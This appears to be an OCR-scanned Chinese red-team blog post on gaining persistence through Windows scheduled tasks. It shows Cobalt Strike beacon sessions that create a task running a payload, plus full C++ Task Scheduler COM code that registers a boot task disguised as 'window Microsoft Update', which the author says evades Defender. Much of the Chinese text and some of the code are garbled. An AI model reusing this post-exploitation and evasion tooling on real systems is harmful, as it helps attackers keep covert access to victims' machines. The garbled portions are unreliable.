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svchost.exe

WmiPrvsE.exe

User00BEBroker.exe
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HEFEE: C\Windows\System32\cmd.exe
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af://n2

heacon> shell 5chtask5 fcreate fs( MINUTE /mo 1 /tr C:\Users\fuckdog\Desktop\avtest\dns5\tmp.exe /tn testl
[*] Tasked beacon to run: schtasks fcreate fsc MINUTE fmo 1 /tr C:\Users\fuckdog\Desktop\avtest\dns5\tmp.exe /tn testl

[+] host called home, sent hytes
[+] received output
U ARTHEIEHRES “testl",

XERTLABTANIN

(D testl EEDE T 2022/12/28 @9 10:41 B - BEE, FTIREAMESE 00:01:00 EE—R. 2022/12/28 10:43:00 2022/12/28 10:42:01

BEEBFE—NTE, MENZMERIS60IMEERRILIENFERINANNAY, e BBEISAGERII
YIS

XEHFEENEFAHE AT AR RS BRI ESS

beacon> shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 37 bytes
[+] received output
desktop-gdonlrfifuckdog

XEAILAERAFEERINIR

0x02 i AWindows A SRR ERIMiTRHE

5

XBEALUERIWindowsEAE 7—demo

&3 7 287 ~{51 (C++).- Win32 apps | Microsoft Learn

\

PSR ——
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> ESTHER2E
> ESTHIERAESE
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1. {5k COM FHEgEEH COM 241,

2. Bz ITaskService 3452,
WSS e S e R Bl R ESS,
3. SREUES ) AL R Bl ESS,

{#F ITaskService: : GetFolder JS33RE{E, £ ITaskService: : NewTask 73346l
ITaskDefinition X458,

4. (£H ITaskDefinition MEREVEXMISIMEE, FIESIGIMES.

EF ITaskDefinition B RegistrationInfo 1% 1 ITaskDefinition HNEfhEME ES

AR TLR


af://n33
https://learn.microsoft.com/zh-cn/windows/win32/taskschd/logon-trigger-example--c---?source=recommendations

1. ¥0%ak COM FHEBEM COM 224,
2. BllEE ITaskService W&,

IS e e Al s,
3. SREUES S E E A RS,

s5FH ITaskService: : GetFolder J5i33RB43k, M ITaskService: : NewTask F7ikfllzE
ITaskDefinition X458,

4. {5 ITaskDefinition IRENBHESHEE, FRMESKEMEE.

55 ITaskDefinition Y Registrationinfo @14 1 ITaskDefinition EOREfEEME Y IES{E
=]

g

5. {#5F8 ITaskDefinition B Triggers [®1H CIEEFALREE, LUAEHESHI ITriggerCollection 2
I:Io

{5 ITriggerCollection: : Create HiAISEEOIRERMARE, TTLUSEMASEIERIAR
M Userld B, LMEESEINRE AP ERIHRIBTES IR,

6. s£F ITaskDefinition Y Actions B iHI0HESHY IActionCollection #0, A{ESEIEE—E
fE, 15 IActionCollection: : Create FiXEEEOIEIRIEERY, I~ |ExecAction
MR, ZNSERAI TS TIRERIRE,

7. f5FH ITaskFolder: : RegisterTaskDefinition J7i33HAMESS.

XERMASEEEERE, BFE.
BREMER—NCOMMREER, XPMCOMMRERFEETRIESHN, FTLUX AR,



HRESULT hr = CoInitializeEx( , COINIT MULTITHREADED);
( FAILED(hr) )

I

L

'y hr );

hr = CoInitializeSecurity(

RPC_C_AUTHN_LEVEL PKT PRIVACY,
RPC_C_IMP_LEVEL IMPERSONATE,

0,

)5
FAILED(hr) )
("\nCoInitializeSecuri

Couninitialize();
1;

BRI ER
REBTXANCOMZENE, BATLABIZE—MRIESSLH], RHTIERSMAET.
XEBEE{RIES

LPCWSTR wszTaskName = L"Logon Tri

wstring wstrixecutablePath = wgetenv( L"WINDIR"™);
wstriExecutablePath += L"\\ M32\\NOTEPAD.EXE";

XEERRITIESHEF, REEXTHTHENE, XEMESsInotepad.exelX M



ITaskService *pService = g
hr = CoCreateInstance( CLSID TaskScheduler,

3
CLSCTX INPROC SERVER,
IID ITaskService,
( **)&pService );
(FAILED(hr))

("Failed to cre
CoUninitialize();
1;

hr = pService->Connect( ()
OF )
( FATLED(hr) )
{

("ITasks ice::Connect failed:
pService->Release();
Couninitialize();

1;

REXErLAEEIACoCreatelnstanceFiABFE TiHRIESHISLAI, ZEBREZBIEEIRHAHAIhr
SSRGS ZTNE .

BERE, HIESEEENMSCE, XEREHHEMmX I MGE,



ITaskFolder *pRootFolder

hr = pService->GetFolder( “\\") , &pRootFolder );
( FAILED(hr) )

I

L

pService- >Release(),
CoUninitialize();
1;

pRootFolder->DeleteTask( ( wszTaskName), @ );

ITaskDefinition *pTask = 2
hr = pService->NewTask( @, &pTask );

pService->Release();
(FAILED(hr))
I
L
("Failed u:
pRootFolder->Release();
CoUninitialize();
1;

REREEE—LHRESIAVEE, MEURFERBITIES, Bl
REBEANewTask7T A X MAHNESBNewSk,

BEAET, TEXRABEEMAME, F—RFNIMER, HMEIHIESEEN—Linfoz kM.
FEBFENRFIHAE, REXMHIES 2B MEHEAY.



IRegistrationInfo *pRegInfo= ;
hr = pTask->get RegistrationInfo( &pRegInfo );
( FAILED(hr) )
{
("\nCannot get identification pointer:
pRootFolder->Release();
pTask->Release();
CoUninitialize();
1;
1

hr = pRegInfo->put_Author(L"Author Name™);
pRegInfo->Release();
( FAILED(hr) )

("\nCannot put identification info:
pRootFolder->Release();
pTask->Release();
Couninitialize();

1;

THXREETIMESI—EIRENRE



ITaskSettings *pSettings = H

hr = pTask->get Settings( &pSettings );
( FAILED(hr) )

{

("\nCannot get se
pRootFolder->Release();
pTask->Release();

CoUninitialize();

1;

hr = pSettings-»>put StartwhenAvailable(VARIANT TRUE);
pSettings->Release();

( FAILED(hr) )

("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();

1;

BB setting, REHEEIE—ES#settingfYvalue EN LIS EE .
TEX—AERALIEMR AR RS



ITriggerCollection *pTriggerCollection 2
hr = pTask->get Triggers( &pTriggerCollection );
( FAILED(hr) )
{
("\nCannot get tri
pRootFolder->Release();
pTask->Release();
CoUninitialize();
1;

ITrigger *pTrigger = A
hr = pTriggerCollection->Create( TASK TRIGGER LOGOMN, &pTrigger );
pTriggerCollection->Release();
( FAILED(hr) )
{
{"\nCannot create the
pRootFolder->Release();
pTask->Release();

CoUninitialize();
1;

1
J

ILogonTrigger *plLogonlrigger = F
hr = pTrigger->QueryInterface(
IID TLogonTrigger, ( *%) &pLogonTrigger );
pTrigger->Release();
( FAILED(hr) )
{
N( yInterta call failed for I

pRootFolder->Release();

pTask->Release();

CoUninitialize();

1;

1
J

hr = pLogonTrigger->put TId(
( FAILED(hr) )

ARRMEE X MES AR RS ME, BEER—HR, SR—triggertisk, AEHEEERES
”

wn, XEBSERE—Mtriggertti>k



ITriggerCollection *pTriggerCollection = B
hr = pTask->get Triggers( &pTriggerCollection );
( FAILED(hr) )

{
("\nCannot get trigger collection: #x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();

ITrigger *pTrigger = H
hr = pTriggerCollection->Create( TASK TRIGGER LOGON, &pTrigger );
pTriggerCollection->Release();
( FAILED(hr) )
{
("\nCannot create the trigger: #x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
1;

}

TLogonTrigger *plogonTrigger = H
hr = pTrigger->QueryInterface(
IID TlLogonTrigger, ( **) &plogonTrigger );
pTrigger->Release();
( FAILED(hr) )

{

-

("\nQueryInterface call failed for ILogonTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();

1;

}

hr = pLogonTrigger->put Id(
( FAILED(hr) )
("\nCannot put the trigger ID: %x", hr);

XERBpLoginTriggenX MNESHAEHAET, BERMEERIMMAITIINES.

THHRIFERET, EXTHANRERR, BHREESTRENT — M NEFMARYG, MEBFRE
F, MBEEXMEE, ISR MTRNES.




hr = pLogonTrigger->put StartBoundary(
( FAILED(hr) )
("\nCannot put the start bou

hr = pLogonTrigger->put_EndBoundary(
( FAILED(hr) )
("\nCannot put the end boundary:

hr = pLogonTrigger->put UserId( ( L"DOMAIN\\UserName" ) );
pLogonTrigger->Release();
( FAILED(hr) )

{
("\nCanno
pRootFolder->Release();
pTask->Release();
CoUninitialize();
1;

ERXEMEFMUBHIIEEN TERNAR, B3T=8NLE, EEXMEERFERT 2K Task,
REREMERTR T, BETHRITBMTRIES.



IActionCollection *pActionCollection =

hr = pTask->get Actions( &pActionCollection );
( FAILED(hr) )
{

("\nCannot get Tas
pRootFolder->Release();
pTask->Release();
CoUninitialize();

1;

IAction *pAction = 3
hr = pActionCollection->Create( TASK ACTION EXEC, &pAction );
pActionCollection->Release();
( FAILED(hr) )
{

("\nCannot creat
pRootFolder->Release();
pTask->Release();
CoUninitialize();

1;

1

IExecAction *pExecAction =

hr = pAction->QueryInterface(
IID TExecAction, ( **) &pExecAction );
pAction->Release();
( FAILED(hr) )

BB R T SRR taskEm, AEREEHTESRITITRIES, MEu
ItE.

MERERITEINES, BRZERETH, SHiE.
B 7B ABBI— MR ARGRE T —T.



» workspace > c++ » taskschedule » taskschedule > x64 » Release »

BB taskscheduletlog

8 taskschedule.exe 2022/12/2 [z =

B izskschedule.exerecipe 811: RECIPE 044

B tzskscheduleiohj /28 11: 10B) 3744 202 KB
B iaskschedule.ipdb 811: IPDB 3244 61 KB
B taskschedulelog /28 11; 5 = 1 KB
B taskschedule.obj 811: 3D ject 164 KB
& taskschedule.pdb /28 11: Program Debug... 148 KB
B taskschedulevcxpraj.FileListAbsolu... 2 6 15:3¢ 5 1 KB

& vc143.pdb /28 11: Program Debug... 508 KB

HRAARARAN, 19k, BEENGEET— Ni—i.
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(% OneDrive S.. EEFEE 1T 1992/5/1 /9 18:00 BT - 5, FTIREREEE 1.00:00:00 EE—7,
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T MicrosoftE... EE3E DEVETHES

(© MicrosoftE... S TSR 952 - BES, &1 % HEsiE 1 /4 EE—R.

(D OneDrive R.. #HEE 7 2022/12/11 89 19:25 5 - 55, TIRHEHESE 1.00:00:00 EE—.
(5 OneDrive S.. #ESRE 1F 1992/5/1 49 18:00 5 - SEE, FIRERESIE 1.00:00:00 EE—.
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SEEEN, VIETSEERIEENEE. SEEN=NEE, FA B fsfTTEEREEL.

=i HHAEE
BEER cmd Jc whoami

A LABRIRIIAIN T
XEBEMNCSEFimRRARNT

beacon> shell taskschedule.exe
[*] Tasked beacon to run: taskschedule.exe
[+]1 host called home, sent: 47 bytes

[+] received output

Success! Task successfully registered.
3602 2R =H#

XBEZDefenderid *

yeacon=> shell taskschedule.exe
[*] Tasked beacon to run: taskschedule.exe
[+] host called home, sent: 47 bytes

[+] received output

Success! Task successfully registered.

JUABRRINTES, FAofd=E.

ZHERFR, E—HRARMEFEEERRRFE S Texed 7, X—RAULMMNRERRD EL LTI
X, BEISSERAEERNIRRIETAD,
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#define _WIN32_DCOM

#include <windows.h>
#include <iostream>



#include <stdio.h>

#include <comdef.h>

//

Include the task header file.

#include <taskschd.h>
#pragma comment(lib, "taskschd.lib™)
#pragma comment(Tib, "comsupp.Tib™)

using namespace std;

int

{

__cdecl wmain(Q)

A e e e aa
// Initialize COM.#J451kcom
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);

o
i

// Set general COM security levels. &HZ%4%
hr = CoInitializeSecurity(

NULL,

_1’

NULL,

NULL,

RPC_C_AUTHN_LEVEL_PKT_PRIVACY,

RPC_C_IMP_LEVEL_IMPERSONATE,

NULL,

Jf c==cmcessscsssscmsoommssssEsE s T eSS TS S ST S C S E S SO
// Create a name for the task. %AitRI{F5wm#
LPCWSTR wszTaskName = L"window Microsoft Update";

// Get the windows directory and set the path to Notepad.exe.

ITERAE

wstring wstreExecutablerath = L"cmd /c whoami";

// Create an instance of the Task Service. @& A itRITESSs2H5]
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,

NULL,

CLSCTX_INPROC_SERVER,

IID_ITaskService,

(void**)&pService);

// Connect to the task service. EHIRIESIRS
hr = pService->Connect(_variant_t(), _variant_t(Q),
_variant_t(), _variant_t(Q));

% Ewindows [ #i

// Get the pointer to the root task folder. FREUIE[HIRATSS iR HIFEEN
// This folder will hold the new task that is registered. X/NX{fEfEmEEHNE
S RIS

ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);

// If the same task exists, remove it. WRMFENMTESEE HBEBRE



pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);

// Create the task builder object to create the task. BIEAFSX L HKAIEITS
ITaskbDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);

pService->Release(); // COM clean up. Pointer is no longer used.

Jf =======s===sss=sscssccssssssssssssssssssssososoosoosoos

// Get the registration info for setting the identification. FFRBUEME HAWE
7E X 2%

IRegistrationInfo* pRegInfo = NULL;

hr = pTask->get_Registrationinfo(&pRegInfo); // FKHEUENHE L

hr = pRegInfo->put_Author(_bstr_t(L"fucku")); // MEMEHEE
pRegInfo->Release();

// Create the settings for the task GIEAES#E
ITaskSettings* pSettings = NULL;

hr = pTask->get_Settings(&pSettings);

if (FAILED(Chr))

{
printf("\nCannot get settings pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
coUninitialize();
return 1;
}

// Set setting values for the task. #itR{FES¥E BAKKIE
hr = pSettings->put_StartwhenAvailable(VARIANT_TRUE);
pSettings->Release();

Jf =======s===sssssscssccssssssssssssssssssssososoosoosoos

// Get the trigger collection to insert the boot trigger. FEUfk 24L& 0AHAN
JA BNl A

ITriggercollection* pTriggerCollection = NULL;

hr = pTask->get_Triggers(&pTriggercollection);

// Add the boot trigger to the task. Z{F5%HhNEshfmk te

ITrigger* pTrigger = NULL;

hr = pTriggercollection->Create(TASK_TRIGGER_BOOT, &pTrigger);// GI#AT % ik 4
pTriggercollection->Release();

IBootTrigger* pBootTrigger = NULL;

hr = pTrigger->QueryInterface(// & iz
IID_IBootTrigger, (void**)&pBootTrigger);

pTrigger->Release();

hr = pBootTrigger->put_Id(_bstr_t(L"Triggerl"));//4"idjilk 2
// Delay the task to start 30 seconds after system start. * #EiR30s/5#4T

hr = pBootTrigger->put_Delay(_bstr_t(L"PT30S"));
pBootTrigger->Release();



A e R
// Add an Action to the task. This task will execute Notepad.exe.
IActionColTlection®* pActionCollection = NULL;

// Get the task action collection pointer.
hr = pTask->get_Actions(&pActionCollection);

// Create the action, specifying it as an executable action.
IAction* pAction = NULL;

hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();

IExecAction* pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(

pAction->Release();

// Set the path of the executable
hr = pExecAction->put_Path(_bstr_t(wstrexecutablePath.c_str()));
pExecAction->Release();

[ e
// Save the task in the root folder.
IRegisteredTask* pRegisteredTask = NULL;
VARIANT varPassword;
varpPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varpassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask) ;

printf("\n Success! Task successfully registered. ");

// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
Couninitialize(Q);

return 0;



	0x01 进程注入添加计划任务
	0x02 调用Windows本身的接口来添加计划任务

